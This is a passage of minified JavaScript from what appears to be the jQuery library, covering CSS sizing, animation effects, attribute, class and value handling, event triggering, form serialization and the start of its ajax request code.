0}for(;o<4;o+=2){if(n==="margin"){l+=E.css(e,n+ue[o],true,r)}if(!i){l+=E.css(e,"padding"+ue[o],true,r);if(n!=="padding"){l+=E.css(e,"border"+ue[o]+"Width",true,r)}else{a+=E.css(e,"border"+ue[o]+"Width",true,r)}}else{if(n==="content"){l-=E.css(e,"padding"+ue[o],true,r)}if(n!=="margin"){l-=E.css(e,"border"+ue[o]+"Width",true,r)}}}if(!i&&s>=0){l+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-s-l-a-.5))||0}return l}function ot(e,t,n){var i=We(e),r=!m.boxSizingReliable()||n,s=r&&E.css(e,"boxSizing",false,i)==="border-box",o=s,a=Ue(e,t,i),l="offset"+t[0].toUpperCase()+t.slice(1);if(ze.test(a)){if(!n){return a}a="auto"}if((!m.boxSizingReliable()&&s||!m.reliableTrDimensions()&&O(e,"tr")||a==="auto"||!parseFloat(a)&&E.css(e,"display",false,i)==="inline")&&e.getClientRects().length){s=E.css(e,"boxSizing",false,i)==="border-box";o=l in e;if(o){a=e[l]}}a=parseFloat(a)||0;return a+st(e,t,n||(s?"border":"content"),o,i,a)+"px"}E.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Ue(e,"opacity");return n===""?"1":n}}}},cssNumber:{animationIterationCount:true,columnCount:true,fillOpacity:true,flexGrow:true,flexShrink:true,fontWeight:true,gridArea:true,gridColumn:true,gridColumnEnd:true,gridColumnStart:true,gridRow:true,gridRowEnd:true,gridRowStart:true,lineHeight:true,opacity:true,order:true,orphans:true,widows:true,zIndex:true,zoom:true},cssProps:{},style:function(e,t,n,i){if(!e||e.nodeType===3||e.nodeType===8||!e.style){return}var r,s,o,a=J(t),l=tt.test(t),u=e.style;if(!l){t=Ze(a)}o=E.cssHooks[t]||E.cssHooks[a];if(n!==undefined){s=typeof n;if(s==="string"&&(r=le.exec(n))&&r[1]){n=pe(e,t,r);s="number"}if(n==null||n!==n){return}if(s==="number"&&!l){n+=r&&r[3]||(E.cssNumber[a]?"":"px")}if(!m.clearCloneStyle&&n===""&&t.indexOf("background")===0){u[t]="inherit"}if(!o||!("set"in o)||(n=o.set(e,n,i))!==undefined){if(l){u.setProperty(t,n)}else{u[t]=n}}}else{if(o&&"get"in o&&(r=o.get(e,false,i))!==undefined){return r}return u[t]}},css:function(e,t,n,i){var r,s,o,a=J(t),l=tt.test(t);if(!l){t=Ze(a)}o=E.cssHooks[t]||E.cssHooks[a];if(o&&"get"in o){r=o.get(e,true,n)}if(r===undefined){r=Ue(e,t,i)}if(r==="normal"&&t in it){r=it[t]}if(n===""||n){s=parseFloat(r);return n===true||isFinite(s)?s||0:r}return r}});E.each(["height","width"],(function(e,t){E.cssHooks[t]={get:function(e,n,i){if(n){return et.test(E.css(e,"display"))&&(!e.getClientRects().length||!e.getBoundingClientRect().width)?Qe(e,nt,(function(){return ot(e,t,i)})):ot(e,t,i)}},set:function(e,n,i){var r,s=We(e),o=!m.scrollboxSize()&&s.position==="absolute",a=o||i,l=a&&E.css(e,"boxSizing",false,s)==="border-box",u=i?st(e,t,i,l,s):0;if(l&&o){u-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(s[t])-st(e,t,"border",false,s)-.5)}if(u&&(r=le.exec(n))&&(r[3]||"px")!=="px"){e.style[t]=n;n=E.css(e,t)}return rt(e,n,u)}}}));E.cssHooks.marginLeft=Ke(m.reliableMarginLeft,(function(e,t){if(t){return(parseFloat(Ue(e,"marginLeft"))||e.getBoundingClientRect().left-Qe(e,{marginLeft:0},(function(){return e.getBoundingClientRect().left})))+"px"}}));E.each({margin:"",padding:"",border:"Width"},(function(e,t){E.cssHooks[e+t]={expand:function(n){var i=0,r={},s=typeof n==="string"?n.split(" "):[n];for(;i<4;i++){r[e+ue[i]+t]=s[i]||s[i-2]||s[0]}return r}};if(e!=="margin"){E.cssHooks[e+t].set=rt}}));E.fn.extend({css:function(e,t){return K(this,(function(e,t,n){var i,r,s={},o=0;if(Array.isArray(t)){i=We(e);r=t.length;for(;o<r;o++){s[t[o]]=E.css(e,t[o],false,i)}return s}return n!==undefined?E.style(e,t,n):E.css(e,t)}),e,t,arguments.length>1)}});function at(e,t,n,i,r){return new at.prototype.init(e,t,n,i,r)}E.Tween=at;at.prototype={constructor:at,init:function(e,t,n,i,r,s){this.elem=e;this.prop=n;this.easing=r||E.easing._default;this.options=t;this.start=this.now=this.cur();this.end=i;this.unit=s||(E.cssNumber[n]?"":"px")},cur:function(){var e=at.propHooks[this.prop];return e&&e.get?e.get(this):at.propHooks._default.get(this)},run:function(e){var t,n=at.propHooks[this.prop];if(this.options.duration){this.pos=t=E.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration)}else{this.pos=t=e}this.now=(this.end-this.start)*t+this.start;if(this.options.step){this.options.step.call(this.elem,this.now,this)}if(n&&n.set){n.set(this)}else{at.propHooks._default.set(this)}return this}};at.prototype.init.prototype=at.prototype;at.propHooks={_default:{get:function(e){var t;if(e.elem.nodeType!==1||e.elem[e.prop]!=null&&e.elem.style[e.prop]==null){return e.elem[e.prop]}t=E.css(e.elem,e.prop,"");return!t||t==="auto"?0:t},set:function(e){if(E.fx.step[e.prop]){E.fx.step[e.prop](e)}else if(e.elem.nodeType===1&&(E.cssHooks[e.prop]||e.elem.style[Ze(e.prop)]!=null)){E.style(e.elem,e.prop,e.now+e.unit)}else{e.elem[e.prop]=e.now}}}};at.propHooks.scrollTop=at.propHooks.scrollLeft={set:function(e){if(e.elem.nodeType&&e.elem.parentNode){e.elem[e.prop]=e.now}}};E.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"};E.fx=at.prototype.init;E.fx.step={};var lt,ut,ct=/^(?:toggle|show|hide)$/,ft=/queueHooks$/;function dt(){if(ut){if(_.hidden===false&&r.requestAnimationFrame){r.requestAnimationFrame(dt)}else{r.setTimeout(dt,E.fx.interval)}E.fx.tick()}}function ht(){r.setTimeout((function(){lt=undefined}));return lt=Date.now()}function pt(e,t){var n,i=0,r={height:e};t=t?1:0;for(;i<4;i+=2-t){n=ue[i];r["margin"+n]=r["padding"+n]=e}if(t){r.opacity=r.width=e}return r}function gt(e,t,n){var i,r=(yt.tweeners[t]||[]).concat(yt.tweeners["*"]),s=0,o=r.length;for(;s<o;s++){if(i=r[s].call(n,t,e)){return i}}}function vt(e,t,n){var i,r,s,o,a,l,u,c,f="width"in t||"height"in t,d=this,h={},p=e.style,g=e.nodeType&&he(e),v=te.get(e,"fxshow");if(!n.queue){o=E._queueHooks(e,"fx");if(o.unqueued==null){o.unqueued=0;a=o.empty.fire;o.empty.fire=function(){if(!o.unqueued){a()}}}o.unqueued++;d.always((function(){d.always((function(){o.unqueued--;if(!E.queue(e,"fx").length){o.empty.fire()}}))}))}for(i in t){r=t[i];if(ct.test(r)){delete t[i];s=s||r==="toggle";if(r===(g?"hide":"show")){if(r==="show"&&v&&v[i]!==undefined){g=true}else{continue}}h[i]=v&&v[i]||E.style(e,i)}}l=!E.isEmptyObject(t);if(!l&&E.isEmptyObject(h)){return}if(f&&e.nodeType===1){n.overflow=[p.overflow,p.overflowX,p.overflowY];u=v&&v.display;if(u==null){u=te.get(e,"display")}c=E.css(e,"display");if(c==="none"){if(u){c=u}else{me([e],true);u=e.style.display||u;c=E.css(e,"display");me([e])}}if(c==="inline"||c==="inline-block"&&u!=null){if(E.css(e,"float")==="none"){if(!l){d.done((function(){p.display=u}));if(u==null){c=p.display;u=c==="none"?"":c}}p.display="inline-block"}}}if(n.overflow){p.overflow="hidden";d.always((function(){p.overflow=n.overflow[0];p.overflowX=n.overflow[1];p.overflowY=n.overflow[2]}))}l=false;for(i in h){if(!l){if(v){if("hidden"in v){g=v.hidden}}else{v=te.access(e,"fxshow",{display:u})}if(s){v.hidden=!g}if(g){me([e],true)}d.done((function(){if(!g){me([e])}te.remove(e,"fxshow");for(i in h){E.style(e,i,h[i])}}))}l=gt(g?v[i]:0,i,d);if(!(i in v)){v[i]=l.start;if(g){l.end=l.start;l.start=0}}}}function mt(e,t){var n,i,r,s,o;for(n in e){i=J(n);r=t[i];s=e[n];if(Array.isArray(s)){r=s[1];s=e[n]=s[0]}if(n!==i){e[i]=s;delete e[n]}o=E.cssHooks[i];if(o&&"expand"in o){s=o.expand(s);delete e[i];for(n in s){if(!(n in e)){e[n]=s[n];t[n]=r}}}else{t[i]=r}}}function yt(e,t,n){var i,r,s=0,o=yt.prefilters.length,a=E.Deferred().always((function(){delete l.elem})),l=function(){if(r){return false}var t=lt||ht(),n=Math.max(0,u.startTime+u.duration-t),i=n/u.duration||0,s=1-i,o=0,l=u.tweens.length;for(;o<l;o++){u.tweens[o].run(s)}a.notifyWith(e,[u,s,n]);if(s<1&&l){return n}if(!l){a.notifyWith(e,[u,1,0])}a.resolveWith(e,[u]);return false},u=a.promise({elem:e,props:E.extend({},t),opts:E.extend(true,{specialEasing:{},easing:E.easing._default},n),originalProperties:t,originalOptions:n,startTime:lt||ht(),duration:n.duration,tweens:[],createTween:function(t,n){var i=E.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);u.tweens.push(i);return i},stop:function(t){var n=0,i=t?u.tweens.length:0;if(r){return this}r=true;for(;n<i;n++){u.tweens[n].run(1)}if(t){a.notifyWith(e,[u,1,0]);a.resolveWith(e,[u,t])}else{a.rejectWith(e,[u,t])}return this}}),c=u.props;mt(c,u.opts.specialEasing);for(;s<o;s++){i=yt.prefilters[s].call(u,e,c,u.opts);if(i){if(y(i.stop)){E._queueHooks(u.elem,u.opts.queue).stop=i.stop.bind(i)}return i}}E.map(c,gt,u);if(y(u.opts.start)){u.opts.start.call(e,u)}u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always);E.fx.timer(E.extend(l,{elem:e,anim:u,queue:u.opts.queue}));return u}E.Animation=E.extend(yt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);pe(n.elem,e,le.exec(t),n);return n}]},tweener:function(e,t){if(y(e)){t=e;e=["*"]}else{e=e.match(H)}var n,i=0,r=e.length;for(;i<r;i++){n=e[i];yt.tweeners[n]=yt.tweeners[n]||[];yt.tweeners[n].unshift(t)}},prefilters:[vt],prefilter:function(e,t){if(t){yt.prefilters.unshift(e)}else{yt.prefilters.push(e)}}});E.speed=function(e,t,n){var i=e&&typeof e==="object"?E.extend({},e):{complete:n||!n&&t||y(e)&&e,duration:e,easing:n&&t||t&&!y(t)&&t};if(E.fx.off){i.duration=0}else{if(typeof i.duration!=="number"){if(i.duration in E.fx.speeds){i.duration=E.fx.speeds[i.duration]}else{i.duration=E.fx.speeds._default}}}if(i.queue==null||i.queue===true){i.queue="fx"}i.old=i.complete;i.complete=function(){if(y(i.old)){i.old.call(this)}if(i.queue){E.dequeue(this,i.queue)}};return i};E.fn.extend({fadeTo:function(e,t,n,i){return this.filter(he).css("opacity",0).show().end().animate({opacity:t},e,n,i)},animate:function(e,t,n,i){var r=E.isEmptyObject(e),s=E.speed(t,n,i),o=function(){var t=yt(this,E.extend({},e),s);if(r||te.get(this,"finish")){t.stop(true)}};o.finish=o;return r||s.queue===false?this.each(o):this.queue(s.queue,o)},stop:function(e,t,n){var i=function(e){var t=e.stop;delete e.stop;t(n)};if(typeof e!=="string"){n=t;t=e;e=undefined}if(t){this.queue(e||"fx",[])}return this.each((function(){var t=true,r=e!=null&&e+"queueHooks",s=E.timers,o=te.get(this);if(r){if(o[r]&&o[r].stop){i(o[r])}}else{for(r in o){if(o[r]&&o[r].stop&&ft.test(r)){i(o[r])}}}for(r=s.length;r--;){if(s[r].elem===this&&(e==null||s[r].queue===e)){s[r].anim.stop(n);t=false;s.splice(r,1)}}if(t||!n){E.dequeue(this,e)}}))},finish:function(e){if(e!==false){e=e||"fx"}return this.each((function(){var t,n=te.get(this),i=n[e+"queue"],r=n[e+"queueHooks"],s=E.timers,o=i?i.length:0;n.finish=true;E.queue(this,e,[]);if(r&&r.stop){r.stop.call(this,true)}for(t=s.length;t--;){if(s[t].elem===this&&s[t].queue===e){s[t].anim.stop(true);s.splice(t,1)}}for(t=0;t<o;t++){if(i[t]&&i[t].finish){i[t].finish.call(this)}}delete n.finish}))}});E.each(["toggle","show","hide"],(function(e,t){var n=E.fn[t];E.fn[t]=function(e,i,r){return e==null||typeof e==="boolean"?n.apply(this,arguments):this.animate(pt(t,true),e,i,r)}}));E.each({slideDown:pt("show"),slideUp:pt("hide"),slideToggle:pt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},(function(e,t){E.fn[e]=function(e,n,i){return this.animate(t,e,n,i)}}));E.timers=[];E.fx.tick=function(){var e,t=0,n=E.timers;lt=Date.now();for(;t<n.length;t++){e=n[t];if(!e()&&n[t]===e){n.splice(t--,1)}}if(!n.length){E.fx.stop()}lt=undefined};E.fx.timer=function(e){E.timers.push(e);E.fx.start()};E.fx.interval=13;E.fx.start=function(){if(ut){return}ut=true;dt()};E.fx.stop=function(){ut=null};E.fx.speeds={slow:600,fast:200,_default:400};E.fn.delay=function(e,t){e=E.fx?E.fx.speeds[e]||e:e;t=t||"fx";return this.queue(t,(function(t,n){var i=r.setTimeout(t,e);n.stop=function(){r.clearTimeout(i)}}))};(function(){var e=_.createElement("input"),t=_.createElement("select"),n=t.appendChild(_.createElement("option"));e.type="checkbox";m.checkOn=e.value!=="";m.optSelected=n.selected;e=_.createElement("input");e.value="t";e.type="radio";m.radioValue=e.value==="t"})();var bt,_t=E.expr.attrHandle;E.fn.extend({attr:function(e,t){return K(this,E.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each((function(){E.removeAttr(this,e)}))}});E.extend({attr:function(e,t,n){var i,r,s=e.nodeType;if(s===3||s===8||s===2){return}if(typeof e.getAttribute==="undefined"){return E.prop(e,t,n)}if(s!==1||!E.isXMLDoc(e)){r=E.attrHooks[t.toLowerCase()]||(E.expr.match.bool.test(t)?bt:undefined)}if(n!==undefined){if(n===null){E.removeAttr(e,t);return}if(r&&"set"in r&&(i=r.set(e,n,t))!==undefined){return i}e.setAttribute(t,n+"");return n}if(r&&"get"in r&&(i=r.get(e,t))!==null){return i}i=E.find.attr(e,t);return i==null?undefined:i},attrHooks:{type:{set:function(e,t){if(!m.radioValue&&t==="radio"&&O(e,"input")){var n=e.value;e.setAttribute("type",t);if(n){e.value=n}return t}}}},removeAttr:function(e,t){var n,i=0,r=t&&t.match(H);if(r&&e.nodeType===1){while(n=r[i++]){e.removeAttribute(n)}}}});bt={set:function(e,t,n){if(t===false){E.removeAttr(e,n)}else{e.setAttribute(n,n)}return n}};E.each(E.expr.match.bool.source.match(/\w+/g),(function(e,t){var n=_t[t]||E.find.attr;_t[t]=function(e,t,i){var r,s,o=t.toLowerCase();if(!i){s=_t[o];_t[o]=r;r=n(e,t,i)!=null?o:null;_t[o]=s}return r}}));var wt=/^(?:input|select|textarea|button)$/i,xt=/^(?:a|area)$/i;E.fn.extend({prop:function(e,t){return K(this,E.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each((function(){delete this[E.propFix[e]||e]}))}});E.extend({prop:function(e,t,n){var i,r,s=e.nodeType;if(s===3||s===8||s===2){return}if(s!==1||!E.isXMLDoc(e)){t=E.propFix[t]||t;r=E.propHooks[t]}if(n!==undefined){if(r&&"set"in r&&(i=r.set(e,n,t))!==undefined){return i}return e[t]=n}if(r&&"get"in r&&(i=r.get(e,t))!==null){return i}return e[t]},propHooks:{tabIndex:{get:function(e){var t=E.find.attr(e,"tabindex");if(t){return parseInt(t,10)}if(wt.test(e.nodeName)||xt.test(e.nodeName)&&e.href){return 0}return-1}}},propFix:{for:"htmlFor",class:"className"}});if(!m.optSelected){E.propHooks.selected={get:function(e){var t=e.parentNode;if(t&&t.parentNode){t.parentNode.selectedIndex}return null},set:function(e){var t=e.parentNode;if(t){t.selectedIndex;if(t.parentNode){t.parentNode.selectedIndex}}}}}E.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],(function(){E.propFix[this.toLowerCase()]=this}));function kt(e){var t=e.match(H)||[];return t.join(" ")}function Ct(e){return e.getAttribute&&e.getAttribute("class")||""}function Et(e){if(Array.isArray(e)){return e}if(typeof e==="string"){return e.match(H)||[]}return[]}E.fn.extend({addClass:function(e){var t,n,i,r,s,o,a,l=0;if(y(e)){return this.each((function(t){E(this).addClass(e.call(this,t,Ct(this)))}))}t=Et(e);if(t.length){while(n=this[l++]){r=Ct(n);i=n.nodeType===1&&" "+kt(r)+" ";if(i){o=0;while(s=t[o++]){if(i.indexOf(" "+s+" ")<0){i+=s+" "}}a=kt(i);if(r!==a){n.setAttribute("class",a)}}}}return this},removeClass:function(e){var t,n,i,r,s,o,a,l=0;if(y(e)){return this.each((function(t){E(this).removeClass(e.call(this,t,Ct(this)))}))}if(!arguments.length){return this.attr("class","")}t=Et(e);if(t.length){while(n=this[l++]){r=Ct(n);i=n.nodeType===1&&" "+kt(r)+" ";if(i){o=0;while(s=t[o++]){while(i.indexOf(" "+s+" ")>-1){i=i.replace(" "+s+" "," ")}}a=kt(i);if(r!==a){n.setAttribute("class",a)}}}}return this},toggleClass:function(e,t){var n=typeof e,i=n==="string"||Array.isArray(e);if(typeof t==="boolean"&&i){return t?this.addClass(e):this.removeClass(e)}if(y(e)){return this.each((function(n){E(this).toggleClass(e.call(this,n,Ct(this),t),t)}))}return this.each((function(){var t,r,s,o;if(i){r=0;s=E(this);o=Et(e);while(t=o[r++]){if(s.hasClass(t)){s.removeClass(t)}else{s.addClass(t)}}}else if(e===undefined||n==="boolean"){t=Ct(this);if(t){te.set(this,"__className__",t)}if(this.setAttribute){this.setAttribute("class",t||e===false?"":te.get(this,"__className__")||"")}}}))},hasClass:function(e){var t,n,i=0;t=" "+e+" ";while(n=this[i++]){if(n.nodeType===1&&(" "+kt(Ct(n))+" ").indexOf(t)>-1){return true}}return false}});var At=/\r/g;E.fn.extend({val:function(e){var t,n,i,r=this[0];if(!arguments.length){if(r){t=E.valHooks[r.type]||E.valHooks[r.nodeName.toLowerCase()];if(t&&"get"in t&&(n=t.get(r,"value"))!==undefined){return n}n=r.value;if(typeof n==="string"){return n.replace(At,"")}return n==null?"":n}return}i=y(e);return this.each((function(n){var r;if(this.nodeType!==1){return}if(i){r=e.call(this,n,E(this).val())}else{r=e}if(r==null){r=""}else if(typeof r==="number"){r+=""}else if(Array.isArray(r)){r=E.map(r,(function(e){return e==null?"":e+""}))}t=E.valHooks[this.type]||E.valHooks[this.nodeName.toLowerCase()];if(!t||!("set"in t)||t.set(this,r,"value")===undefined){this.value=r}}))}});E.extend({valHooks:{option:{get:function(e){var t=E.find.attr(e,"value");return t!=null?t:kt(E.text(e))}},select:{get:function(e){var t,n,i,r=e.options,s=e.selectedIndex,o=e.type==="select-one",a=o?null:[],l=o?s+1:r.length;if(s<0){i=l}else{i=o?s:0}for(;i<l;i++){n=r[i];if((n.selected||i===s)&&!n.disabled&&(!n.parentNode.disabled||!O(n.parentNode,"optgroup"))){t=E(n).val();if(o){return t}a.push(t)}}return a},set:function(e,t){var n,i,r=e.options,s=E.makeArray(t),o=r.length;while(o--){i=r[o];if(i.selected=E.inArray(E.valHooks.option.get(i),s)>-1){n=true}}if(!n){e.selectedIndex=-1}return s}}}});E.each(["radio","checkbox"],(function(){E.valHooks[this]={set:function(e,t){if(Array.isArray(t)){return e.checked=E.inArray(E(e).val(),t)>-1}}};if(!m.checkOn){E.valHooks[this].get=function(e){return e.getAttribute("value")===null?"on":e.value}}}));m.focusin="onfocusin"in r;var Tt=/^(?:focusinfocus|focusoutblur)$/,St=function(e){e.stopPropagation()};E.extend(E.event,{trigger:function(e,t,n,i){var s,o,a,l,u,c,f,d,h=[n||_],g=p.call(e,"type")?e.type:e,v=p.call(e,"namespace")?e.namespace.split("."):[];o=d=a=n=n||_;if(n.nodeType===3||n.nodeType===8){return}if(Tt.test(g+E.event.triggered)){return}if(g.indexOf(".")>-1){v=g.split(".");g=v.shift();v.sort()}u=g.indexOf(":")<0&&"on"+g;e=e[E.expando]?e:new E.Event(g,typeof e==="object"&&e);e.isTrigger=i?2:3;e.namespace=v.join(".");e.rnamespace=e.namespace?new RegExp("(^|\\.)"+v.join("\\.(?:.*\\.|)")+"(\\.|$)"):null;e.result=undefined;if(!e.target){e.target=n}t=t==null?[e]:E.makeArray(t,[e]);f=E.event.special[g]||{};if(!i&&f.trigger&&f.trigger.apply(n,t)===false){return}if(!i&&!f.noBubble&&!b(n)){l=f.delegateType||g;if(!Tt.test(l+g)){o=o.parentNode}for(;o;o=o.parentNode){h.push(o);a=o}if(a===(n.ownerDocument||_)){h.push(a.defaultView||a.parentWindow||r)}}s=0;while((o=h[s++])&&!e.isPropagationStopped()){d=o;e.type=s>1?l:f.bindType||g;c=(te.get(o,"events")||Object.create(null))[e.type]&&te.get(o,"handle");if(c){c.apply(o,t)}c=u&&o[u];if(c&&c.apply&&Z(o)){e.result=c.apply(o,t);if(e.result===false){e.preventDefault()}}}e.type=g;if(!i&&!e.isDefaultPrevented()){if((!f._default||f._default.apply(h.pop(),t)===false)&&Z(n)){if(u&&y(n[g])&&!b(n)){a=n[u];if(a){n[u]=null}E.event.triggered=g;if(e.isPropagationStopped()){d.addEventListener(g,St)}n[g]();if(e.isPropagationStopped()){d.removeEventListener(g,St)}E.event.triggered=undefined;if(a){n[u]=a}}}}return e.result},simulate:function(e,t,n){var i=E.extend(new E.Event,n,{type:e,isSimulated:true});E.event.trigger(i,null,t)}});E.fn.extend({trigger:function(e,t){return this.each((function(){E.event.trigger(e,t,this)}))},triggerHandler:function(e,t){var n=this[0];if(n){return E.event.trigger(e,t,n,true)}}});if(!m.focusin){E.each({focus:"focusin",blur:"focusout"},(function(e,t){var n=function(e){E.event.simulate(t,e.target,E.event.fix(e))};E.event.special[t]={setup:function(){var i=this.ownerDocument||this.document||this,r=te.access(i,t);if(!r){i.addEventListener(e,n,true)}te.access(i,t,(r||0)+1)},teardown:function(){var i=this.ownerDocument||this.document||this,r=te.access(i,t)-1;if(!r){i.removeEventListener(e,n,true);te.remove(i,t)}else{te.access(i,t,r)}}}}))}var jt=r.location;var Dt={guid:Date.now()};var Ot=/\?/;E.parseXML=function(e){var t,n;if(!e||typeof e!=="string"){return null}try{t=(new r.DOMParser).parseFromString(e,"text/xml")}catch(e){}n=t&&t.getElementsByTagName("parsererror")[0];if(!t||n){E.error("Invalid XML: "+(n?E.map(n.childNodes,(function(e){return e.textContent})).join("\n"):e))}return t};var Nt=/\[\]$/,Pt=/\r?\n/g,Lt=/^(?:submit|button|image|reset|file)$/i,Ft=/^(?:input|select|textarea|keygen)/i;function It(e,t,n,i){var r;if(Array.isArray(t)){E.each(t,(function(t,r){if(n||Nt.test(e)){i(e,r)}else{It(e+"["+(typeof r==="object"&&r!=null?t:"")+"]",r,n,i)}}))}else if(!n&&k(t)==="object"){for(r in t){It(e+"["+r+"]",t[r],n,i)}}else{i(e,t)}}E.param=function(e,t){var n,i=[],r=function(e,t){var n=y(t)?t():t;i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(n==null?"":n)};if(e==null){return""}if(Array.isArray(e)||e.jquery&&!E.isPlainObject(e)){E.each(e,(function(){r(this.name,this.value)}))}else{for(n in e){It(n,e[n],t,r)}}return i.join("&")};E.fn.extend({serialize:function(){return E.param(this.serializeArray())},serializeArray:function(){return this.map((function(){var e=E.prop(this,"elements");return e?E.makeArray(e):this})).filter((function(){var e=this.type;return this.name&&!E(this).is(":disabled")&&Ft.test(this.nodeName)&&!Lt.test(e)&&(this.checked||!ye.test(e))})).map((function(e,t){var n=E(this).val();if(n==null){return null}if(Array.isArray(n)){return E.map(n,(function(e){return{name:t.name,value:e.replace(Pt,"\r\n")}}))}return{name:t.name,value:n.replace(Pt,"\r\n")}})).get()}});var Mt=/%20/g,$t=/#.*$/,Rt=/([?&])_=[^&]*/,Ht=/^(.*?):[ \t]*([^\r\n]*)$/gm,Bt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,qt=/^(?:GET|HEAD)$/,zt=/^\/\//,Wt={},Qt={},Vt="*/".concat("*"),Ut=_.createElement("a");Ut.href=jt.href;function Kt(e){return function(t,n){if(typeof t!=="string"){n=t;t="*"}var i,r=0,s=t.toLowerCase().match(H)||[];if(y(n)){while(i=s[r++]){if(i[0]==="+"){i=i.slice(1)||"*";(e[i]=e[i]||[]).unshift(n)}else{(e[i]=e[i]||[]).push(n)}}}}}function Gt(e,t,n,i){var r={},s=e===Qt;function o(a){var l;r[a]=true;E.each(e[a]||[],(function(e,a){var u=a(t,n,i);if(typeof u==="string"&&!s&&!r[u]){t.dataTypes.unshift(u);o(u);return false}else if(s){return!(l=u)}}));return l}return o(t.dataTypes[0])||!r["*"]&&o("*")}function Yt(e,t){var n,i,r=E.ajaxSettings.flatOptions||{};for(n in t){if(t[n]!==undefined){(r[n]?e:i||(i={}))[n]=t[n]}}if(i){E.extend(true,e,i)}return e}function Xt(e,t,n){var i,r,s,o,a=e.contents,l=e.dataTypes;while(l[0]==="*"){l.shift();if(i===undefined){i=e.mimeType||t.getResponseHeader("Content-Type")}}if(i){for(r in a){if(a[r]&&a[r].test(i)){l.unshift(r);break}}}if(l[0]in n){s=l[0]}else{for(r in n){if(!l[0]||e.converters[r+" "+l[0]]){s=r;break}if(!o){o=r}}s=s||o}if(s){if(s!==l[0]){l.unshift(s)}return n[s]}}function Jt(e,t,n,i){var r,s,o,a,l,u={},c=e.dataTypes.slice();if(c[1]){for(o in e.converters){u[o.toLowerCase()]=e.converters[o]}}s=c.shift();while(s){if(e.responseFields[s]){n[e.responseFields[s]]=t}if(!l&&i&&e.dataFilter){t=e.dataFilter(t,e.dataType)}l=s;s=c.shift();if(s){if(s==="*"){s=l}else if(l!=="*"&&l!==s){o=u[l+" "+s]||u["* "+s];if(!o){for(r in u){a=r.split(" ");if(a[1]===s){o=u[l+" "+a[0]]||u["* "+a[0]];if(o){if(o===true){o=u[r]}else if(u[r]!==true){s=a[0];c.unshift(a[1])}break}}}}if(o!==true){if(o&&e.throws){t=o(t)}else{try{t=o(t)}catch(e){return{state:"parsererror",error:o?e:"No conversion from "+l+" to "+s}}}}}}}return{state:"success",data:t}}E.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:jt.href,type:"GET",isLocal:Bt.test(jt.protocol),global:true,processData:true,async:true,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Vt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":true,"text json":JSON.parse,"text xml":E.parseXML},flatOptions:{url:true,context:true}},ajaxSetup:function(e,t){return t?Yt(Yt(e,E.ajaxSettings),t):Yt(E.ajaxSettings,e)},ajaxPrefilter:Kt(Wt),ajaxTransport:Kt(Qt),ajax:function(e,t){if(typeof e==="object"){t=e;e=undefined}t=t||{};var n,i,s,o,a,l,u,c,f,d,h=E.ajaxSetup({},t),p=h.context||h,g=h.context&&(p.nodeType||p.jquery)?E(p):E.event,v=E.Deferred(),m=E.Callbacks("once memory"),y=h.statusCode||{},b={},w={},x="canceled",k={readyState:0,getResponseHeader:function(e){var t;if(u){if(!o){o={};while(t=Ht.exec(s)){o[t[1].toLowerCase()+" "]=(o[t[1].toLowerCase()+" "]||[]).concat(t[2])}}t=o[e.toLowerCase()+" "]}return t==null?null:t.join(", ")},getAllResponseHeaders:function(){return u?s:null},setRequestHeader:function(e,t){if(u==null){e=w[e.toLowerCase()]=w[e.toLowerCase()]||e;b[e]=t}return this},overrideMimeType:function(e){if(u==null){h.mimeType=e}return this},statusCode:function(e){var t;if(e){if(u){k.always(e[k.status])}else{for(t in e){y[t]=[y[t],e[t]]}}}return this},abort:function(e){var t=e||x;if(n){n.abort(t)}C(0,t);return this}};v.promise(k);h.url=((e||h.url||jt.href)+"").replace(zt,jt.protocol+"//");h.type=t.method||t.type||h.method||h.type;h.dataTypes=(h.dataType||"*").toLowerCase().match(H)||[""];if(h.crossDomain==null){l=_.createElement("a");try{l.href=h.url;l.href=l.href;h.crossDomain=Ut.protocol+"//"+Ut.host!==l.protocol+"//"+l.host}catch(e){h.crossDomain=true}}if(h.data&&h.processData&&typeof h.data!=="string"){h.data=E.param(h.data,h.traditional)}Gt(Wt,h,t,k);if(u){return k}c=E.event&&h.global;if(c&&E.active++===0){E.event.trigger("ajaxStart")}h.type=h.type.toUpperCase();h.hasContent=!qt.test(h.type);i=h.url.replace($t,"");if(!h.hasContent){d=h.url.slice(i.length);if(h.data&&(h.processData||typeof h.data==="string")){i+=(Ot.test(i)?"&":"?")+h.data;delete h.data}if(h.cache===false){i=i.replace(Rt,"$1");d=(Ot.test(i)?"&":"?")+"_="+Dt.guid+++d}h.url=i+d}else if(h.data&&h.processData&&(h.contentType||"").indexOf("application/x-www-form-urlencoded")===0){h.data=h.data.replace(Mt,"+")}if(h.ifModified){if(E.lastModified[i]){k.setRequestHeader("If-Modified-Since",E.lastModified[i])}if(E.etag[i]){k.setRequestHeader("If-None-Match",E.etag[i])}}if(h.data&&h.hasContent&&h.contentType!==false||t.contentType){k.setRequestHeader("Content-Type",h.contentType)}k.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+(h.dataTypes[0]!=="*"?", "+Vt+"; q=0.01":""):h.accepts["*"]);for(f in 